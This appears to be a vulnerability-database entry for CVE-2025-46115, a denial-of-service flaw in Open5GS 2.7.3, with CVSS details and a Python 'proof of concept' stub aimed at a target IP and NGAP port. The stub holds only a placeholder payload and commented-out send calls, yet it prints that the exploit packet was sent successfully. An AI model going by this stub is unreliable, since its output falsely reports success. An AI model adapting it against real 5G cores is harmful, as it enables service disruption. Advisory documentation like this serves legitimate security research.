An issue in open5gs v.2.7.3 allows a remote attacker to cause a denial of service via a crafted PDU Session Modification Request
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Open5GS 2.7.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2025-46115
# This script demonstrates the concept of sending a malformed PDU Session Modification Request.
# Note: Actual payload hex values would depend on specific protocol analysis.
import socket
TARGET_IP = "192.168.1.100" # Replace with target Open5GS IP
TARGET_PORT = 38412 # Example port for SCTP/NGAP, adjust based on configuration
# Malformed NAS PDU Session Modification Request payload (Placeholder)
# In a real scenario, this hex string would contain the specific malformed IE causing the crash.
malformed_payload = bytes.fromhex("<HEX_PAYLOAD_HERE>")
def send_exploit():
try:
# Create a socket connection (SCTP is often used, TCP shown for simplicity)
print(f"[*] Sending exploit packet to {TARGET_IP}:{TARGET_PORT}")
# Note: Open5GS typically uses SCTP, requiring sctp library instead of standard socket
# This is a conceptual representation.
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect((TARGET_IP, TARGET_PORT))
# s.send(malformed_payload)
# s.close()
print("[+] Packet sent successfully. Check service availability.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
send_exploit()